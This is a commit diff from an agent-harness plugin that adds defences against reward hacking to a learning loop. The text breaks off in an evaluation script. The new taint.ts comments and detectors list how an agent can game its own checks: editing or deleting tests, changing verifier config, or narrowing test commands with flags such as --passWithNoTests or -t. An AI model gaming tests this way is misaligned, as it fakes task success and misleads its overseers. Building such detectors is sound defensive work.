🌊 The original agent harness. Deploy intelligent multi-player swarms, coordinate autonomous workflows, and build conversational AI systems. Features adaptive memory, self-learning intelligence, federation, vector RAG integration, and native Claude Code / Codex / Hermes and many more Integrated
TypeScript agentic-aiagentic-frameworkagentic-workflowagentsai-agentsai-assistantai-skillsautonomous-agentsclaudecodexdsh-pluginharnessmcp-servermulti-agentmulti-agent-systemsnpmskillsswarmswarm-intelligencetypescript
feat(mods): learning-loop gaming defences — taints, re-verify, anomaly gate (ADR-503) (#4590)
rUv38112e004269
diff --git a/plugins/ruflo-mods/.claude-plugin/plugin.json b/plugins/ruflo-mods/.claude-plugin/plugin.jsonindex a9804ca319..e6d0e65bae 100644--- a/plugins/ruflo-mods/.claude-plugin/plugin.json+++ b/plugins/ruflo-mods/.claude-plugin/plugin.json@@ -1,7 +1,7 @@{"name": "ruflo-mods","description": "ruflo as a Claude Code mod (function hooks, ADR-404): in-process prompt routing, edit learning signals, tighten-only tool checks from ruflo policy, the cost-tracker budget ladder, a mod trust gate for newly installed mods, and the $.ruflo noun other mods compose their status with. Opt-in and removable: the classic hook-handler hooks stay the default and take every event back whenever the mod is not loaded.",- "version": "0.8.0",+ "version": "0.9.0","author": {"name": "ruvnet","url": "https://github.com/ruvnet"diff --git a/plugins/ruflo-mods/CHANGELOG.md b/plugins/ruflo-mods/CHANGELOG.mdindex c0bbe3dc13..83b5d96211 100644--- a/plugins/ruflo-mods/CHANGELOG.md+++ b/plugins/ruflo-mods/CHANGELOG.md@@ -2,6 +2,9 @@Newest first. One `## <version> — <date>` heading per version, then `feat:`, `fix:`, `breaking:` and `chore:` bullets (ADR-478). Built from git history; older versions: `git log -- plugins/ruflo-mods`.+## 0.9.0 — 2026-10-29+- feat: the learning loop resists gamed outcomes (ADR-503, #4590). A verified-success turn is tainted when it edited tests (`edited-tests`), a verifier's config (`edited-verifier-config`), or ran a narrowed or weakened check (`narrowed-verifier`); only the taint class is stored, never a path. Each record carries a per-process session token. The CLI never trains a tainted record unless `.claude-flow/config.json` `learningLoop.allowTaint` lists its classes, can re-verify with a rotating allowlisted check in a temporary worktree (`learningLoop.reverify`, off by default), and holds back lessons whose evidence looks gamed (perfect-and-tainted, only-narrowed, one-session).+## 0.8.0 — 2026-10-29- feat: option `learningLoop` (default on, #4581, ADR-502; set `false` to turn it off): the verified-outcome learning loop. Each main-loop turn becomes a trajectory (tool names and success flags); its outcome is `verified-success` or `verified-failure` only when a recognised test/build/typecheck/lint command ran after the turn's last edit and the shell's exit status said so, else `unknown`. A masked status (`|| true`, a pipe, `;`, background, substitution) verifies nothing; subagent calls, aborted turns and slash commands never verify. Records go to `.claude-flow/data/verified-trajectories.jsonl`; the CLI trains SONA on verified records only. At most three cited lessons (`[lesson L-… conf …, n passed / m failed]`) learned at or above the 0.6 gate are added to a prompt they match; a hostile lessons file adds nothing. `/ruflo-mods` gains a `loop:` row and the status line `loop ✓n ✗n ?n`. Observe-only; no process, model or MCP call.diff --git a/plugins/ruflo-mods/README.md b/plugins/ruflo-mods/README.mdindex c8176c34e7..9006921f4b 100644--- a/plugins/ruflo-mods/README.md+++ b/plugins/ruflo-mods/README.md@@ -94,7 +94,7 @@ Claude Code reads a plugin's options from `pluginConfigs["ruflo-mods@ruflo"].opt| `agentTrimKeep` | empty | Comma-separated agent type names `agentTrim` must keep offered. Evidence: [live validation](../../v3/docs/validation/ruflo-mods-live-2026-10.md) || `deliveryScreen` | `false` | ADR-451 screen: drops peer, relay or webhook deliveries that carry injection phrasing and refuses outgoing messages that carry a secret shape; never screens your own Remote Control prompts; names the rule, never the text. Caught 76% of its own 50-injection test set before the rules were tuned on it (figure from the PR #3741 description, not a repo doc); the real-world rate is unknown. No live evidence doc yet; design in [ADR-451](../../v3/docs/adr/ADR-451-mod-capability-roadmap.md) item 3 || `rureOffer` | `false` | `tool.call` + `turn.complete` (ADR-498): when the model reads or writes an executable, library, `.asar` or CUDA file in the project, adds one line beneath that answer saying ruRE can inspect it without running it, and how. Offer only: never runs ruRE, never denies or edits a call; at most 3 files a turn, 12 a session, each once; validated project-relative paths only; inert without a ruRE tool and on subagent answers. Design in [ADR-498](../../v3/docs/adr/ADR-498-mods-rure-offer.md) |-| `learningLoop` | `true` | `prompt.submit` + `tool.call` + `turn.complete` (#4581, ADR-502): records each main-loop turn's tool calls and decides its outcome **only** from a recognised test, build, typecheck or lint command's exit status after the turn's last edit (`npm test`, `vitest`, `tsc`, `cargo test`, `pytest`, …; a masked status such as `npm test \|\| true` or a pipe verifies nothing); otherwise the turn is unverified. Turns go to `.claude-flow/data/verified-trajectories.jsonl` (500 lines); `ruflo hooks verified-ingest` (also run by `hooks_route` and `hooks_session-end`) trains SONA on verified turns only. Adds at most three cited lessons at or above the 0.6 routing gate to a prompt they match. Never denies, rewrites or delays a call; runs no process; only in a ruflo project. Evidence: [learning loop live run](../../v3/docs/validation/ruflo-mods-learning-loop-2026-10.md); design in [ADR-502](../../v3/docs/adr/ADR-502-verified-outcome-learning-loop.md) |+| `learningLoop` | `true` | `prompt.submit` + `tool.call` + `turn.complete` (#4581, ADR-502): records each main-loop turn's tool calls and decides its outcome **only** from a recognised test, build, typecheck or lint command's exit status after the turn's last edit (`npm test`, `vitest`, `tsc`, `cargo test`, `pytest`, …; a masked status such as `npm test \|\| true` or a pipe verifies nothing); otherwise the turn is unverified. Turns go to `.claude-flow/data/verified-trajectories.jsonl` (500 lines); `ruflo hooks verified-ingest` (also run by `hooks_route` and `hooks_session-end`) trains SONA on verified turns only. Adds at most three cited lessons at or above the 0.6 routing gate to a prompt they match. A verified success carries taints when the turn edited a test file or a verifier config (`package.json`, `vitest.config.*`, `tsconfig*.json`, …) or narrowed its check (one test file, `-t`, `--passWithNoTests`, …); the CLI never trains a tainted turn unless `.claude-flow/config.json` `learningLoop.allowTaint` lists the class, can re-run a check at HEAD before training (`learningLoop.reverify`, off by default), and holds back lessons that look gamed ([ADR-503](../../v3/docs/adr/ADR-503-learning-loop-gaming-defences.md)). Never denies, rewrites or delays a call; runs no process; only in a ruflo project. Evidence: [learning loop live run](../../v3/docs/validation/ruflo-mods-learning-loop-2026-10.md); design in [ADR-502](../../v3/docs/adr/ADR-502-verified-outcome-learning-loop.md) || `compactCarry` | `false` | `session.compact` (ADR-451 item 7): appends at most 600 characters to what the compaction summary keeps: swarm id, topology word, agent count, open claim ids and status, last route agent, budget and policy words. Fixed words and identifiers only, screened, fails open, skipped when no swarm or claim is open. No live evidence doc yet; design in [ADR-451](../../v3/docs/adr/ADR-451-mod-capability-roadmap.md) || `capabilityProbe` | `false` | Observability only (ADR-451 item 5): `/ruflo-mods` gains `probe: engine <version> · events fired n/m · never fired: ...`; reads no payload and never denies, rewrites or delays. Live run: [ruflo-mods-options-live-2026-10.md](../../v3/docs/validation/ruflo-mods-options-live-2026-10.md); design in [ADR-451](../../v3/docs/adr/ADR-451-mod-capability-roadmap.md) || `sessionRollup` | `false` | Observability only (ADR-451 item 6): at session end one counter record (no prompt text, inputs or paths) goes to a user-global ledger capped at 50 sessions and 32 KB; `/ruflo-mods` shows the last few. Live run: [ruflo-mods-options-live-2026-10.md](../../v3/docs/validation/ruflo-mods-options-live-2026-10.md); design in [ADR-451](../../v3/docs/adr/ADR-451-mod-capability-roadmap.md) |diff --git a/plugins/ruflo-mods/hooks/loop/index.ts b/plugins/ruflo-mods/hooks/loop/index.tsindex 675246a5c0..18843daed5 100644--- a/plugins/ruflo-mods/hooks/loop/index.ts+++ b/plugins/ruflo-mods/hooks/loop/index.ts@@ -5,6 +5,7 @@ import { routeTask } from '../route/route-task'import { redraw, under, type ModState } from '../state'import { lessonBlock, parseLessons, pick } from './lessons'import { appendLines, line, LESSONS_PATH, MAX_PENDING, outcomeOf, start, step, VERIFIED_PATH } from './record'+import { relativePath } from './taint'import { classify, verdict } from './verifier'/**@@ -23,6 +24,8 @@ const ANY = /^[\s\S]*$/* exit status as a verifier run.* - `turn.complete` closes the trajectory: `verified-success`/`verified-failure` only from verifier runs after the* last edit, otherwise `unknown`, and appends it to `verified-trajectories.jsonl` for `ruflo hooks verified-ingest`.+ * A success carries taints (ADR-503 §2.1) when the turn edited a test or verifier config, or narrowed its check;+ * the CLI never trains a tainted record by default.** Observe-only: it never denies, rewrites or delays a tool call, never runs a process, and never calls a model or an* MCP tool (smoke step 4). Training happens in the CLI, which trains SONA on verified records only.@@ -39,7 +42,7 @@ export function registerLoop(on: On, state: ModState) {loop.project ??= await $.fs.stat(under(state, '.claude-flow')).then(stat => stat.kind === 'dir', () => false)if (loop.project !== true || text.trim() === '' || text.trimStart().startsWith('/')) return next(e)- loop.active = start(`vt-${Date.now().toString(36)}-${(++loop.counter).toString(36)}-${Math.random().toString(36).slice(2, 8)}`, text, (state.lastRoute ?? routeTask(text)).agent, Date.now())+ loop.active = start(`vt-${Date.now().toString(36)}-${(++loop.counter).toString(36)}-${Math.random().toString(36).slice(2, 8)}`, text, (state.lastRoute ?? routeTask(text)).agent, Date.now(), loop.session)const read = await lessons({ stat: path => $.fs.stat(path), read: path => $.fs.read(path) })if (read.kind !== 'ok') return next(e)@@ -59,8 +62,13 @@ export function registerLoop(on: On, state: ModState) {// Main loop only: a subagent's calls are its own work, reported back as the Agent call's result.if (!t || e.agentId !== undefined || (result as { deny?: unknown } | undefined)?.deny !== undefined) return result- const verifier = e.tool === 'Bash' ? classify((e as { command?: unknown }).command) : null- step(t, e.tool, (result as { isError?: unknown }).isError !== true, verifier, verifier ? verdict(result) : null)+ const command = e.tool === 'Bash' ? (e as { command?: unknown }).command : undefined+ const verifier = e.tool === 'Bash' ? classify(command) : null+ // ADR-503 §2.1: an edit's file, or a Bash command that writes/deletes files, decides the edited-tests /+ // edited-verifier-config taints (only the class is kept).+ const args = e as { file_path?: unknown; notebook_path?: unknown }+ const target = typeof args.file_path === 'string' ? args.file_path : typeof args.notebook_path === 'string' ? args.notebook_path : undefined+ step(t, e.tool, (result as { isError?: unknown }).isError !== true, verifier, verifier ? verdict(result) : null, target === undefined ? undefined : relativePath(state.root, target), command)return result})diff --git a/plugins/ruflo-mods/hooks/loop/record.ts b/plugins/ruflo-mods/hooks/loop/record.tsindex 639e50d6a2..15f919beca 100644--- a/plugins/ruflo-mods/hooks/loop/record.ts+++ b/plugins/ruflo-mods/hooks/loop/record.ts@@ -8,6 +8,7 @@*/import { scan } from '../guidance/screen'+import { isTestPath, isVerifierConfig, shellTouches, type Taint } from './taint'import type { Verifier, VerifierKind } from './verifier'export const VERIFIED_PATH = '.claude-flow/data/verified-trajectories.jsonl'@@ -22,19 +23,24 @@ export const MAX_PENDING = 50export type Outcome = 'verified-success' | 'verified-failure' | 'unknown'-export type Run = { readonly kind: VerifierKind; readonly command: string; readonly passed: boolean; readonly seq: number }+export type Run = { readonly kind: VerifierKind; readonly command: string; readonly passed: boolean; readonly seq: number; readonly narrowed: boolean }export type Trajectory = {readonly id: stringreadonly task: stringreadonly agent: stringreadonly startedAt: number+ /** The mod process that recorded it (ADR-503 §2.4: a lesson needs successes from more than one session). */+ readonly session: stringsteps: { tool: string; ok: boolean }[]/** Sequence number of the last edit that ran (0: none). */lastEdit: numberedits: numberruns: Run[]seq: number+ /** Whether a successful edit in the turn touched a test file / a file that changes what a verifier checks (ADR-503 §2.1). */+ editedTests: boolean+ editedConfig: boolean}/** Tools whose successful call changes the project. */@@ -57,19 +63,48 @@ export function taskText(prompt: string): string {return scan(flat).secrets.length > 0 ? '[redacted]' : flat}-export function start(id: string, prompt: string, agent: string, now: number): Trajectory {- return { id, task: taskText(prompt), agent: /^[a-z][a-z0-9-]{0,40}$/.test(agent) ? agent : 'coder', startedAt: now, steps: [], lastEdit: 0, edits: 0, runs: [], seq: 0 }+const SESSION = /^[A-Za-z0-9_-]{1,40}$/++export function start(id: string, prompt: string, agent: string, now: number, session = ''): Trajectory {+ return {+ id,+ task: taskText(prompt),+ agent: /^[a-z][a-z0-9-]{0,40}$/.test(agent) ? agent : 'coder',+ startedAt: now,+ session: SESSION.test(session) ? session : '',+ steps: [],+ lastEdit: 0,+ edits: 0,+ runs: [],+ seq: 0,+ editedTests: false,+ editedConfig: false,+ }}-/** Records one finished tool call; `verifier` and `passed` only for a verifier run with a status. */-export function step(t: Trajectory, tool: string, ok: boolean, verifier: Verifier | null, passed: boolean | null): void {+/**+ * Records one finished tool call; `verifier` and `passed` only for a verifier run with a status, `path` only for an+ * edit (project-relative; only its class is kept, never the path), `command` only for Bash: a command that writes,+ * moves or deletes a test file or verifier config taints like an Edit of it, whether or not it succeeded and whether+ * or not it is also a verifier (a taint can only stop a record from training).+ */+export function step(t: Trajectory, tool: string, ok: boolean, verifier: Verifier | null, passed: boolean | null, path?: string, command?: unknown): void {t.seq++if (t.steps.length < MAX_STEPS && TOOL.test(tool)) t.steps.push({ tool, ok })+ if (tool === 'Bash') {+ const touched = shellTouches(command)+ if (touched.tests) t.editedTests = true+ if (touched.config) t.editedConfig = true+ }if (EDIT_TOOLS.has(tool) && ok) {t.lastEdit = t.seqt.edits+++ if (typeof path === 'string' && path.length > 0 && path.length <= 4096) {+ if (isTestPath(path)) t.editedTests = true+ if (isVerifierConfig(path)) t.editedConfig = true+ }}- if (verifier && passed !== null) t.runs.push({ kind: verifier.kind, command: verifier.command, passed, seq: t.seq })+ if (verifier && passed !== null) t.runs.push({ kind: verifier.kind, command: verifier.command, passed, seq: t.seq, narrowed: verifier.narrowed === true })}/**@@ -84,6 +119,19 @@ export function decide(t: Trajectory, aborted: boolean): { outcome: Outcome; runreturn failed ? { outcome: 'verified-failure', run: failed } : { outcome: 'verified-success', run: after[after.length - 1]! }}+/**+ * The taints a `verified-success` carries (ADR-503 §2.1): what the turn did to its own check. Any other outcome+ * carries none, and a taint never changes the outcome.+ */+export function taints(t: Trajectory, outcome: Outcome, run: Run | null): Taint[] {+ if (outcome !== 'verified-success') return []+ const out: Taint[] = []+ if (t.editedTests) out.push('edited-tests')+ if (t.editedConfig) out.push('edited-verifier-config')+ if (run?.narrowed) out.push('narrowed-verifier')+ return out+}+/** The JSONL line the CLI ingest reads (`parseRecord` in cli/src/memory/verified-outcomes.ts). */export function line(t: Trajectory, aborted: boolean, now: number): string {const { outcome, run } = decide(t, aborted)@@ -96,6 +144,8 @@ export function line(t: Trajectory, aborted: boolean, now: number): string {verifier: run ? { kind: run.kind, command: run.command, passed: run.passed } : null,steps: t.steps,edits: t.edits,+ taint: taints(t, outcome, run),+ ...(t.session ? { session: t.session } : {}),startedAt: t.startedAt,endedAt: now,})diff --git a/plugins/ruflo-mods/hooks/loop/status.ts b/plugins/ruflo-mods/hooks/loop/status.tsindex f9f81ddd15..7fc583f70e 100644--- a/plugins/ruflo-mods/hooks/loop/status.ts+++ b/plugins/ruflo-mods/hooks/loop/status.ts@@ -17,9 +17,11 @@ export type LoopState = {/** Records dropped because the file could not be written and the queue was full. */dropped: numbercounter: number+ /** This mod process's token, written on every record (ADR-503 §2.4 counts a lesson's independent sessions). */+ session: string}-export const loopState = (): LoopState => ({ enabled: false, pending: [], recorded: { success: 0, failure: 0, unknown: 0 }, lessonsShown: 0, belowGate: 0, dropped: 0, counter: 0 })+export const loopState = (): LoopState => ({ enabled: false, pending: [], recorded: { success: 0, failure: 0, unknown: 0 }, lessonsShown: 0, belowGate: 0, dropped: 0, counter: 0, session: `s-${Date.now().toString(36)}-${Math.random().toString(36).slice(2, 10)}` })/** The status-line part: verified passes, failures, unverified turns. */export function loopSegment(s: LoopState): string | undefined {diff --git a/plugins/ruflo-mods/hooks/loop/taint.ts b/plugins/ruflo-mods/hooks/loop/taint.tsnew file mode 100644index 0000000000..bc60a68e39--- /dev/null+++ b/plugins/ruflo-mods/hooks/loop/taint.ts@@ -0,0 +1,115 @@+/**+ * Tamper signals inside one turn (ADR-503 §2.1). Pure.+ *+ * A verifier's exit status is honest, but the model chooses what the verifier+ * checks: it can weaken a test, skip it, edit the `test` script, or narrow the+ * command to one file. Each of those exits 0. A `verified-success` record+ * therefore carries taints naming what the turn did to its own check; the CLI+ * ingest never trains a tainted record unless the project opts that class in.+ * A taint never changes the outcome word.+ */++export type Taint = 'edited-tests' | 'edited-verifier-config' | 'narrowed-verifier'++export const TAINTS: readonly Taint[] = ['edited-tests', 'edited-verifier-config', 'narrowed-verifier']++/** A test file by name: `*.test.*`, `*.spec.*`, `test_*.py`, `*_test.go`, `*_test.rs`. */+const TEST_FILE = /(?:\.(?:test|spec)\.[A-Za-z0-9]+|^test_[^/]*\.py|_test\.(?:go|rs))$/+/** Directories whose files are tests. */+const TEST_DIRS = new Set(['__tests__', 'tests'])+/** Files that change what a verifier checks. */+const VERIFIER_CONFIG = /^(?:package\.json|vitest\.config\.[^/]+|jest\.config\.[^/]+|pytest\.ini|pyproject\.toml|setup\.cfg|tox\.ini|Cargo\.toml|go\.mod|tsconfig[^/]*\.json|\.eslintrc[^/]*|eslint\.config\.[^/]+|Makefile)$/++const parts = (path: string) => path.replace(/\\/g, '/').split('/').filter(p => p !== '' && p !== '.')++/** The project-relative form of an edited path: an absolute path under `root` loses the root, so `root` itself never matches. */+export function relativePath(root: string, path: string): string {+ const p = path.replace(/\\/g, '/')+ const r = root.replace(/\\/g, '/').replace(/\/+$/, '')+ return r && p.startsWith(`${r}/`) ? p.slice(r.length + 1) : p+}++/** Whether a (project-relative) path is a test file. */+export function isTestPath(path: string): boolean {+ const segs = parts(path)+ const base = segs.at(-1)+ if (base === undefined) return false+ return TEST_FILE.test(base) || segs.slice(0, -1).some(d => TEST_DIRS.has(d))+}++/** Whether a path is a file that can change what a verifier checks. */+export function isVerifierConfig(path: string): boolean {+ const base = parts(path).at(-1)+ return base !== undefined && VERIFIER_CONFIG.test(base)+}++/** Flags that weaken any verifier. */+const WEAKEN = /^(?:--passWithNoTests|--exclude|--testPathIgnorePatterns)(?:=|$)/+/** Flags that select a subset of tests. `-run` is `go test`'s name filter. */+const SELECT = /^(?:-t|--testNamePattern|-k|--skip|-run)(?:=|$)/++const unquote = (token: string) => token.replace(/^['"]|['"]$/g, '')++/**+ * Whether one verifier segment weakens or narrows its check: a weakening flag,+ * a test-name selector, or a test runner given a test-file argument (a pytest+ * node id `file.py::name` counts). A directory argument (`pytest tests/`) does not.+ */+export function narrows(segment: string, kind: string): boolean {+ const tokens = segment.split(/\s+/).map(unquote).filter(Boolean)+ if (tokens.some(t => WEAKEN.test(t))) return true+ if (kind !== 'test') return false+ if (tokens.some(t => SELECT.test(t))) return true+ return tokens.some(t => !t.startsWith('-') && (t.includes('::') || isTestPath(t.split('::')[0]!)))+}++/** Programs that write, move or delete the files they name. */+const WRITERS = new Set(['rm', 'unlink', 'shred', 'mv', 'cp', 'tee', 'truncate', 'patch', 'dd', 'ln', 'install', 'rsync', 'touch'])+/** `git` subcommands that rewrite or delete working-tree files. */+const GIT_WRITERS = new Set(['rm', 'mv', 'checkout', 'restore', 'apply', 'am', 'reset', 'stash', 'clean'])+/** Wrappers and assignments in front of the program. */+const WRAPPERS = new Set(['sudo', 'env', 'command', 'xargs', 'time', 'nice', 'nohup'])+/** An in-place flag of `sed`/`perl` (`-i`, `-i.bak`, `-pi`, `--in-place`). */+const IN_PLACE = /^(?:-[A-Za-z]*i|--in-place)/+/** An output redirection (`>`, `>>`, `1>`, `>file`), not a descriptor copy (`2>&1`). */+const REDIRECT = /(?:^|[^<>&])\d*>>?(?!&)/++/** Whether one shell segment writes, moves or deletes the files it names. */+function writes(tokens: readonly string[]): boolean {+ if (tokens.some(t => REDIRECT.test(t))) return true+ let i = 0+ while (i < tokens.length && (/^[A-Za-z_][A-Za-z0-9_]*=/.test(tokens[i]!) || WRAPPERS.has(tokens[i]!))) i+++ const prog = tokens[i]?.split('/').at(-1)+ if (prog === undefined) return false+ if (WRITERS.has(prog)) return true+ if (prog === 'sed' || prog === 'perl') return tokens.slice(i + 1).some(t => IN_PLACE.test(t))+ if (prog === 'git') return tokens.slice(i + 1).some(t => GIT_WRITERS.has(t))+ return false+}++/** A token names test code: a test file, or a path through a test directory (`tests/`, `src/__tests__`). */+const namesTests = (token: string) => isTestPath(token) || parts(token).some(d => TEST_DIRS.has(d))++/**+ * Which taint classes a Bash command earns by changing test files or verifier config through the shell+ * (`rm`, `sed -i`, `cat > file`, `git checkout -- tests/`, ...), as an Edit of the same file would (ADR-503 §2.1).+ * Conservative by design, since a taint can only stop a success from training: a write verb or redirection+ * anywhere in a segment that also names a test path or a verifier config is enough. A segment without one+ * (`cat`, `grep`, a test run) earns nothing here; a narrowed test run is `narrows`' job. Code that writes from+ * inside an interpreter (`node -e`, `python -c`) is not seen.+ */+export function shellTouches(command: unknown): { tests: boolean; config: boolean } {+ const out = { tests: false, config: false }+ if (typeof command !== 'string' || command.length > 16_384) return out+ for (const segment of command.split(/&&|\|\||[;|\n]/)) {+ const tokens = segment.split(/\s+/).map(unquote).filter(Boolean)+ if (tokens.length === 0 || !writes(tokens)) continue+ for (const raw of tokens) {+ const token = raw.replace(/^\d*>>?/, '')+ if (!token || token.startsWith('-')) continue+ if (namesTests(token)) out.tests = true+ if (isVerifierConfig(token)) out.config = true+ }+ }+ return out+}diff --git a/plugins/ruflo-mods/hooks/loop/verifier.ts b/plugins/ruflo-mods/hooks/loop/verifier.tsindex caf3ad6703..037776de3d 100644--- a/plugins/ruflo-mods/hooks/loop/verifier.ts+++ b/plugins/ruflo-mods/hooks/loop/verifier.ts@@ -12,9 +12,12 @@* `npm test || true` and `npm test | tail` never verify anything.*/+import { narrows } from './taint'+export type VerifierKind = 'test' | 'build' | 'typecheck' | 'lint'-export type Verifier = { readonly kind: VerifierKind; readonly command: string }+/** `narrowed`: a segment weakened or narrowed its check (ADR-503 §2.1), judged on the whole command, not the 80-character evidence. */+export type Verifier = { readonly kind: VerifierKind; readonly command: string; readonly narrowed?: boolean }/** The longest command head kept as evidence. */export const MAX_EVIDENCE = 80@@ -77,7 +80,7 @@ export function classify(command: unknown): Verifier | null {const bare = segment.replace(ENV_PREFIX, '')const kind = kindOf(bare)if (kind === null) return null // something else ran: its status is not the verifier's- found = { kind: rank(found?.kind, kind), command: bare.replace(/\s+/g, ' ').slice(0, MAX_EVIDENCE) }+ found = { kind: rank(found?.kind, kind), command: bare.replace(/\s+/g, ' ').slice(0, MAX_EVIDENCE), narrowed: found?.narrowed === true || narrows(bare, kind) }}return found}diff --git a/plugins/ruflo-mods/scripts/smoke.sh b/plugins/ruflo-mods/scripts/smoke.shindex b93f6bab00..2ac37c934b 100755--- a/plugins/ruflo-mods/scripts/smoke.sh+++ b/plugins/ruflo-mods/scripts/smoke.sh@@ -1,5 +1,5 @@#!/usr/bin/env bash-# Structural + security smoke for ruflo-mods v0.8.0 (ADR-404, ADR-447).+# Structural + security smoke for ruflo-mods v0.9.0 (ADR-404, ADR-447).# Static only: CI has no Claude Code, so the hooks module's behaviour is held# by v3/@claude-flow/cli/__tests__/mods/*.test.ts and, where function hooks are# on, by `claude plugin test plugins/ruflo-mods`.@@ -12,9 +12,9 @@ ok() { printf "PASS\n"; PASS=$((PASS+1)); }bad() { printf "FAIL: %s\n" "$1"; FAIL=$((FAIL+1)); }HOOKS="$ROOT/hooks"-step "1. plugin.json declares ruflo-mods 0.8.0"+step "1. plugin.json declares ruflo-mods 0.9.0"grep -q '"name": "ruflo-mods"' "$ROOT/.claude-plugin/plugin.json" \- && grep -q '"version": "0.8.0"' "$ROOT/.claude-plugin/plugin.json" && ok || bad "name/version"+ && grep -q '"version": "0.9.0"' "$ROOT/.claude-plugin/plugin.json" && ok || bad "name/version"step "2. hooks.json names exactly one module and no classic hook commands"grep -q '"modules": \["./register.ts"\]' "$HOOKS/hooks.json" && ! grep -q '"command"' "$HOOKS/hooks.json" \diff --git a/scripts/eval-learning-loop.mjs b/scripts/eval-learning-loop.mjsnew file mode 100644index 0000000000..b160bc0507--- /dev/null+++ b/scripts/eval-learning-loop.mjs@@ -0,0 +1,190 @@+#!/usr/bin/env node+/**+ * ADR-503 §3 / ADR-502 §6: does the verified-outcome learning loop help?+ *+ * MANUAL ONLY. It spends money (two `claude -p` runs per eval task plus one per+ * training task) and is never part of CI. Without --run it prints the plan and+ * spends nothing.+ *+ * node scripts/eval-learning-loop.mjs --tasks <tasks.json> # plan only, $0+ * node scripts/eval-learning-loop.mjs --tasks <tasks.json> --run # spend+ * [--model haiku] [--budget-usd 0.50 per run] [--timeout-sec 600] [--out <report.json>]+ *+ * tasks.json (paths relative to the file):+ * { "version": 1,+ * "train": [ { "id": "t1", "prompt": "...", "fixture": "fixtures/t1", "check": ["npm", "test"] } ],+ * "eval": [ ... 30 tasks, same shape, disjoint from train ... ] }+ *+ * Procedure:+ * 1. Training split: each train task runs once with `learningLoop` on in a fresh+ * copy of its fixture; every recorded turn is pooled into one workspace, and+ * `ruflo hooks verified-ingest` there writes the lessons (SONA + ADR-503 gates).+ * 2. Evaluation split, two arms: `learningLoop` off, then on with the pre-trained+ * lessons copied in. Each task runs in a fresh copy of its fixture.+ * 3. A task's outcome is its own fixed `check` argv run afterwards in that copy+ * (no shell, exit 0 = verified success), the same for both arms, so the+ * measure does not depend on the loop being on.+ *+ * Reported per arm: verified success rate, total and per-verified-success cost+ * (from `--output-format json` total_cost_usd), and for the "on" arm the lesson+ * hit rate. The hit rate is approximated outside Claude Code: the share of eval+ * prompts that share a keyword with a lesson in the trained learned-lessons.json+ * (the mod's own pick() rule, re-implemented here); the mod's in-session counter+ * is not readable from outside.+ *+ * The 30-task corpus is not shipped with this script; pass your own tasks file.+ */++import { execFileSync, spawnSync } from 'node:child_process';+import { appendFileSync, cpSync, existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';+import { tmpdir } from 'node:os';+import { dirname, join, resolve } from 'node:path';+import { fileURLToPath } from 'node:url';++const REPO = resolve(dirname(fileURLToPath(import.meta.url)), '..');+const PLUGIN = join(REPO, 'plugins', 'ruflo-mods');+const CLI = join(REPO, 'v3', '@claude-flow', 'cli', 'bin', 'cli.js');+const TRAJ = join('.claude-flow', 'data', 'verified-trajectories.jsonl');+const LESSONS = join('.claude-flow', 'data', 'learned-lessons.json');+const ID = /^[A-Za-z0-9_.-]{1,64}$/;++function args(argv) {+ const out = { run: false, model: 'haiku', budget: '0.50', timeoutSec: 600, tasks: null, out: null };+ for (let i = 0; i < argv.length; i++) {+ const a = argv[i];+ if (a === '--run') out.run = true;+ else if (a === '--tasks') out.tasks = argv[++i];+ else if (a === '--model') out.model = argv[++i];+ else if (a === '--budget-usd') out.budget = argv[++i];+ else if (a === '--timeout-sec') out.timeoutSec = Number(argv[++i]);+ else if (a === '--out') out.out = argv[++i];+ else if (a === '--help' || a === '-h') out.help = true;+ else throw new Error(`unknown argument: ${a}`);+ }+ return out;+}++/** The tasks file, validated: ids unique, splits disjoint, fixtures inside the file's directory, check a plain argv. */+function loadTasks(path) {+ const base = dirname(resolve(path));+ const raw = JSON.parse(readFileSync(path, 'utf8'));+ if (raw?.version !== 1 || !Array.isArray(raw.train) || !Array.isArray(raw.eval)) throw new Error('tasks file: need { version: 1, train: [], eval: [] }');+ const seen = new Set();+ const task = (t, split) => {+ if (!t || typeof t.id !== 'string' || !ID.test(t.id) || seen.has(t.id)) throw new Error(`${split}: bad or duplicate id ${t?.id}`);+ seen.add(t.id);+ if (typeof t.prompt !== 'string' || !t.prompt.trim()) throw new Error(`${t.id}: prompt required`);+ const fixture = resolve(base, String(t.fixture ?? ''));+ if (!fixture.startsWith(base + '/') || !existsSync(fixture)) throw new Error(`${t.id}: fixture must be an existing directory under ${base}`);+ if (!Array.isArray(t.check) || t.check.length === 0 || !t.check.every(s => typeof s === 'string' && s.length > 0)) throw new Error(`${t.id}: check must be a non-empty argv array`);+ return { id: t.id, prompt: t.prompt, fixture, check: t.check };+ };+ return { train: raw.train.map(t => task(t, 'train')), eval: raw.eval.map(t => task(t, 'eval')) };+}++function settingsFile(dir, learningLoop) {+ const o = { options: { learningLoop } };+ const f = join(dir, `settings-${learningLoop ? 'on' : 'off'}.json`);+ writeFileSync(f, JSON.stringify({ pluginConfigs: { 'ruflo-mods@inline': o, 'ruflo-mods': o } }));+ return f;+}++/** A fresh copy of a fixture with `.claude-flow/` (the loop records only in a ruflo project). */+function workdir(root, task, arm) {+ const dir = join(root, `${arm}-${task.id}`);+ cpSync(task.fixture, dir, { recursive: true });+ mkdirSync(join(dir, '.claude-flow', 'data'), { recursive: true });+ return dir;+}++function claude(dir, prompt, settings, opts) {+ const r = spawnSync('claude', ['-p', prompt, '--output-format', 'json', '--model', opts.model, '--plugin-dir', PLUGIN, '--settings', settings,+ '--setting-sources', 'local', '--max-budget-usd', opts.budget, '--allowedTools', 'Read,Edit,Write,Bash,Grep,Glob'], {+ cwd: dir, encoding: 'utf8', timeout: opts.timeoutSec * 1000, input: '', env: { ...process.env, CLAUDE_CODE_ENABLE_FUNCTION_HOOKS: '1' },+ });+ let cost = 0;+ try {+ cost = Number(JSON.parse(r.stdout).total_cost_usd) || 0;+ } catch {+ // no JSON result (timeout, crash): the cost is unknown, counted as 0 and flagged+ }+ return { cost, ok: r.status === 0 };+}++/** The task's own check, run with no shell; exit 0 is a verified success. */+function check(dir, task, timeoutSec) {+ const r = spawnSync(task.check[0], task.check.slice(1), { cwd: dir, stdio: 'ignore', timeout: timeoutSec * 1000, env: { ...process.env, CI: '1' } });+ return r.status === 0;+}++const words = text => new Set(text.toLowerCase().split(/[\s\-_.,;:!?'"()[\]{}]+/).filter(Boolean));+/** The mod's pick() match rule: a keyword said as a word, or as a phrase when it has a space or slash. */+function lessonHit(lessons, prompt) {+ const said = words(prompt);+ const lower = prompt.toLowerCase();+ return lessons.some(l => l.kind === 'lesson' && (l.keywords ?? []).some(k => 